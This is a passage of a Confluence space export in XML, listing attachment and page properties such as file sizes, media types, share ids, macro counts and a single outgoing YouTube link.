<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6988</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196609</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//youtu.be/RXhL9cfwx2c]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//youtu.be/rxhl9cfwx2c]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262255</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262254</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262253</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">88136</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262252</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262251</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262250</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2144</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262249</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262248</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262247</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">109868</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262246</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262245</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262244</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262243</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262242</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262241</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262240</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262239</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">47510</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262238</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3070</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262237</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262236</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262235</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262234</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">15296</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262233</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2131</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262232</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9446</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262231</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262230</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262229</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262228</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262227</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262226</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262225</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262224</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262223</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262222</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262221</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262220</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262219</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7054</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262218</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262217</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262216</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262215</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12098</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262214</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">27998</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262213</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">41645</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262212</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262211</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262210</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262209</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262208</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262207</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">264209</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262206</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262205</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262204</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262203</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262202</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262201</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262200</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262199</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262198</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">21488</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262197</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262196</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262195</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[32b657a6-50f7-4a6a-aaea-102ce537c268]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262194</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c9c2e2a4-8ebc-476f-aff1-014fe92e22ec]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262193</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[d065f4f3-da57-4410-aa7b-7ff93e59a719]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262192</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[498beede-3b1d-477a-8d5a-3dea256d4fa2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262191</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c741dfa-dc55-4d7e-ac8c-d3aba5a29f2a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262190</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[9092f143-f878-4fd8-9300-7bcecd02dd02]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262189</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[576b0d46-e5b1-4ee9-9b58-c688fc240c65]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262188</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c5547696-df60-4a59-96b4-355de741a34a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262187</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[25c3f4c7-6755-4974-aa96-0cad5b648190]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262186</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[323e5bdf-f804-4867-920e-b006c9f2aa23]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262185</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"><![CDATA[widget]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262184</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[30ea9299-b7f7-48f4-b0b2-00d4d0b720d8]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262183</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262182</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262181</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[79351706-62d9-47b2-902e-d7f635e020b1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262180</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c60c7b5-70b7-4d89-988a-b47459b91c6d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262179</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[ad00c983-c9e3-46ab-90a4-42d016a162e5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262178</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[aa14dd02-a368-4c44-b5a5-b997c6d519c5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262177</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[2c73ae66-3422-43d3-8867-b99be3fd153d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262176</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b19a726e-f021-4386-a33a-cc4134368b29]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262175</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[be8deba8-e975-4ea2-9817-94db937c8a42]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262174</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[3c2f37c4-e102-4d53-be59-7e0ebbc80d37]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262173</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[bdb695aa-ffc0-4544-b601-08618dfe3f43]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262172</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[0e76d5df-8079-47bd-afe7-a90d92922657]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262171</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[f8ae6dc9-0915-416e-bd0c-2c2aed6f19c6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262170</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b41a9868-a5c0-4bd1-84c6-93910fcd12f6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262169</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[20018262-63f0-4469-89b6-d52cce7086b2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262168</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[1c198386-7ec9-48dd-a514-bbba0c4835e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262167</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262166</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262165</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262164</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">4</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262163</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262162</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262161</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262160</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262159</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[97a52591-901b-4e26-b38c-23180d68189c]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262158</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262157</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[566640c6-aa91-41f4-ba6b-7d02dc9ef2e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262156</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262155</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262154</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">5</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262153</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262152</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262151</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262150</id>
|
||||
<property name="name"><![CDATA[macro-count.widget]]></property>
|
||||
<property name="stringValue"><![CDATA[9-2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262149</id>
|
||||
